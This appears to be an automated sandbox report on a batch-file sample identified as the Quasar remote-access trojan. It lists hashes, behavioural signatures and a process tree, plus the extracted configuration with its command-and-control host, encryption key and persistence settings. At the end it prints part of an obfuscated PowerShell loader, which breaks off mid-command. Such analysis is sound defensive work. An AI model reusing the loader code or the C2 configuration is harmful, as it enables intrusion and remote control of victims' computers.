Analysis
-
max time kernel
299s -
max time network
298s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
28-05-2024 13:42
Static task
static1
Behavioral task
behavioral1
Sample
New1.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
New1.bat
Resource
win10v2004-20240508-en
General
-
Target
New1.bat
-
Size
1002KB
-
MD5
f6d5bfaee8a55ff72c7b453fda066d62
-
SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f
-
SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
-
SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
-
SSDEEP
12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB
Malware Config
Extracted
quasar
-
reconnect_delay
3000
Extracted
quasar
3.1.5
Video
runderscore00-25501.portmap.host:25501
$Sxr-oWTh3ZS9htfe80iIl5
-
encryption_key
zK8u0rpHf4TJzGf65Flt
-
install_name
Win11.exe
-
log_directory
$sxr-Logs
-
reconnect_delay
3000
-
startup_key
Windows 11 Boot
-
subdirectory
Win11
Signatures
-
Quasar payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/4768-34-0x000000000ACB0000-0x000000000ADA2000-memory.dmp family_quasar behavioral1/memory/3512-205-0x000000000A8E0000-0x000000000A94C000-memory.dmp family_quasar C:\Users\Admin\AppData\Local\Temp\New.exe family_quasar behavioral1/memory/4760-223-0x0000000000E80000-0x0000000000EEC000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 1320 created 588 1320 powershell.EXE winlogon.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 2 3512 powershell.exe 6 3512 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 4768 powershell.exe 520 powershell.exe 3512 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 2 IoCs
Processes:
New.exeInstall.exepid process 4760 New.exe 1052 Install.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 16 IoCs
Processes:
powershell.EXEsvchost.exeOfficeClickToRun.exesvchost.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 1320 set thread context of 4140 1320 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 59 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 28 May 2024 13:43:40 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1716903819" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={68B30AEA-E7BA-4E60-8A91-D01B9BF16C6E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache svchost.exe -
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exewmiprvse.exepid process 4768 powershell.exe 4768 powershell.exe 4768 powershell.exe 520 powershell.exe 520 powershell.exe 520 powershell.exe 3512 powershell.exe 3512 powershell.exe 3512 powershell.exe 1320 powershell.EXE 1320 powershell.EXE 1320 powershell.EXE 1320 powershell.EXE 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 3512 powershell.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4568 wmiprvse.exe 3512 powershell.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 3512 powershell.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 3512 powershell.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe 4140 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4768 powershell.exe Token: SeDebugPrivilege 520 powershell.exe Token: SeIncreaseQuotaPrivilege 520 powershell.exe Token: SeSecurityPrivilege 520 powershell.exe Token: SeTakeOwnershipPrivilege 520 powershell.exe Token: SeLoadDriverPrivilege 520 powershell.exe Token: SeSystemProfilePrivilege 520 powershell.exe Token: SeSystemtimePrivilege 520 powershell.exe Token: SeProfSingleProcessPrivilege 520 powershell.exe Token: SeIncBasePriorityPrivilege 520 powershell.exe Token: SeCreatePagefilePrivilege 520 powershell.exe Token: SeBackupPrivilege 520 powershell.exe Token: SeRestorePrivilege 520 powershell.exe Token: SeShutdownPrivilege 520 powershell.exe Token: SeDebugPrivilege 520 powershell.exe Token: SeSystemEnvironmentPrivilege 520 powershell.exe Token: SeRemoteShutdownPrivilege 520 powershell.exe Token: SeUndockPrivilege 520 powershell.exe Token: SeManageVolumePrivilege 520 powershell.exe Token: 33 520 powershell.exe Token: 34 520 powershell.exe Token: 35 520 powershell.exe Token: 36 520 powershell.exe Token: SeIncreaseQuotaPrivilege 520 powershell.exe Token: SeSecurityPrivilege 520 powershell.exe Token: SeTakeOwnershipPrivilege 520 powershell.exe Token: SeLoadDriverPrivilege 520 powershell.exe Token: SeSystemProfilePrivilege 520 powershell.exe Token: SeSystemtimePrivilege 520 powershell.exe Token: SeProfSingleProcessPrivilege 520 powershell.exe Token: SeIncBasePriorityPrivilege 520 powershell.exe Token: SeCreatePagefilePrivilege 520 powershell.exe Token: SeBackupPrivilege 520 powershell.exe Token: SeRestorePrivilege 520 powershell.exe Token: SeShutdownPrivilege 520 powershell.exe Token: SeDebugPrivilege 520 powershell.exe Token: SeSystemEnvironmentPrivilege 520 powershell.exe Token: SeRemoteShutdownPrivilege 520 powershell.exe Token: SeUndockPrivilege 520 powershell.exe Token: SeManageVolumePrivilege 520 powershell.exe Token: 33 520 powershell.exe Token: 34 520 powershell.exe Token: 35 520 powershell.exe Token: 36 520 powershell.exe Token: SeIncreaseQuotaPrivilege 520 powershell.exe Token: SeSecurityPrivilege 520 powershell.exe Token: SeTakeOwnershipPrivilege 520 powershell.exe Token: SeLoadDriverPrivilege 520 powershell.exe Token: SeSystemProfilePrivilege 520 powershell.exe Token: SeSystemtimePrivilege 520 powershell.exe Token: SeProfSingleProcessPrivilege 520 powershell.exe Token: SeIncBasePriorityPrivilege 520 powershell.exe Token: SeCreatePagefilePrivilege 520 powershell.exe Token: SeBackupPrivilege 520 powershell.exe Token: SeRestorePrivilege 520 powershell.exe Token: SeShutdownPrivilege 520 powershell.exe Token: SeDebugPrivilege 520 powershell.exe Token: SeSystemEnvironmentPrivilege 520 powershell.exe Token: SeRemoteShutdownPrivilege 520 powershell.exe Token: SeUndockPrivilege 520 powershell.exe Token: SeManageVolumePrivilege 520 powershell.exe Token: 33 520 powershell.exe Token: 34 520 powershell.exe Token: 35 520 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 3512 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exedescription pid process target process PID 4520 wrote to memory of 4768 4520 cmd.exe powershell.exe PID 4520 wrote to memory of 4768 4520 cmd.exe powershell.exe PID 4520 wrote to memory of 4768 4520 cmd.exe powershell.exe PID 4768 wrote to memory of 520 4768 powershell.exe powershell.exe PID 4768 wrote to memory of 520 4768 powershell.exe powershell.exe PID 4768 wrote to memory of 520 4768 powershell.exe powershell.exe PID 4768 wrote to memory of 1580 4768 powershell.exe WScript.exe PID 4768 wrote to memory of 1580 4768 powershell.exe WScript.exe PID 4768 wrote to memory of 1580 4768 powershell.exe WScript.exe PID 1580 wrote to memory of 3788 1580 WScript.exe cmd.exe PID 1580 wrote to memory of 3788 1580 WScript.exe cmd.exe PID 1580 wrote to memory of 3788 1580 WScript.exe cmd.exe PID 3788 wrote to memory of 3512 3788 cmd.exe powershell.exe PID 3788 wrote to memory of 3512 3788 cmd.exe powershell.exe PID 3788 wrote to memory of 3512 3788 cmd.exe powershell.exe PID 3512 wrote to memory of 4760 3512 powershell.exe New.exe PID 3512 wrote to memory of 4760 3512 powershell.exe New.exe PID 3512 wrote to memory of 4760 3512 powershell.exe New.exe PID 3512 wrote to memory of 1052 3512 powershell.exe Install.exe PID 3512 wrote to memory of 1052 3512 powershell.exe Install.exe PID 3512 wrote to memory of 1052 3512 powershell.exe Install.exe PID 4760 wrote to memory of 4996 4760 New.exe SCHTASKS.exe PID 4760 wrote to memory of 4996 4760 New.exe SCHTASKS.exe PID 4760 wrote to memory of 4996 4760 New.exe SCHTASKS.exe PID 1320 wrote to memory of 4140 1320 powershell.EXE dllhost.exe PID 1320 wrote to memory of 4140 1320 powershell.EXE dllhost.exe PID 1320 wrote to memory of 4140 1320 powershell.EXE dllhost.exe PID 1320 wrote to memory of 4140 1320 powershell.EXE dllhost.exe PID 1320 wrote to memory of 4140 1320 powershell.EXE dllhost.exe PID 1320 wrote to memory of 4140 1320 powershell.EXE dllhost.exe PID 1320 wrote to memory of 4140 1320 powershell.EXE dllhost.exe PID 1320 wrote to memory of 4140 1320 powershell.EXE dllhost.exe PID 4140 wrote to memory of 588 4140 dllhost.exe winlogon.exe PID 4140 wrote to memory of 640 4140 dllhost.exe lsass.exe PID 4140 wrote to memory of 724 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 900 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 992 4140 dllhost.exe dwm.exe PID 4140 wrote to memory of 360 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 696 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 708 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1028 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1112 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1212 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1224 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1292 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1300 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1364 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1476 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1484 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1564 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1588 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1624 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1692 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1752 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1760 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1768 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1892 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 1904 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 2032 4140 dllhost.exe spoolsv.exe PID 4140 wrote to memory of 1596 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 2216 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 2224 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 2248 4140 dllhost.exe svchost.exe PID 4140 wrote to memory of 2264 4140 dllhost.exe svchost.exe
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:588
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:992
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9f2f8d8c-fc5f-4bd9-bb12-5389e7c9e37c}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4140
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:640
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:724
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:900
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:360
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:696
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:708
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1028
-
c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3140
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EVmmWVktzjFH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NDmQKdYXwljFsn,[Parameter(Position=1)][Type]$QabPkxghQx)$wXFwFuQJnKi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+''+[Char](109)+'or'+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+'e',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+','+'P'+''+[Char](117)+''+'b'+''+'l'+''+'i'+'c,S'+'e'+'a'+[Char](108)+'e'+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+'C'+''+[Char](108)+''+[Char](97)+''+'s'+'s'+','+''+[Char](65)+''+'u'+''+'t'+'o'+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$wXFwFuQJnKi.DefineConstructor('RT'+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+'l'+'N'+''+'a'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NDmQKdYXwljFsn).SetImplementationFlags(''+[Char](82)+'un'+'t'+''+[Char](105)+'m'+'e'+',Ma'+[Char](110)+'a'+'g'+''+[Char](101)+''+'d'+'');$wXFwFuQJnKi.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c,'+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'N'+''+[Char](101)+''+'w'+''+'S'+''+'l'+'o'+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+'l',$QabPkxghQx,$NDmQKdYXwljFsn).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+'im'+'e'+''+','+''+[Char](77)+''+'a'+'n'+'a'+'ge'+'d'+'');Write-Output $wXFwFuQJnKi.CreateType();}$xwZvcUHWVQCjL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.d'+[Char](108)+''+[Char](108)+'')}).GetType('Mic'+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$kHSLsNMOTTjtBq=$xwZvcUHWVQCjL.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+'ddr'+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+'a'+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$iObvyeIFWXXWodmSWTE=EVmmWVktzjFH @([String])([IntPtr]);$AKQmuliDwvcNUcBFfzAHuj=EVmmWVktzjFH 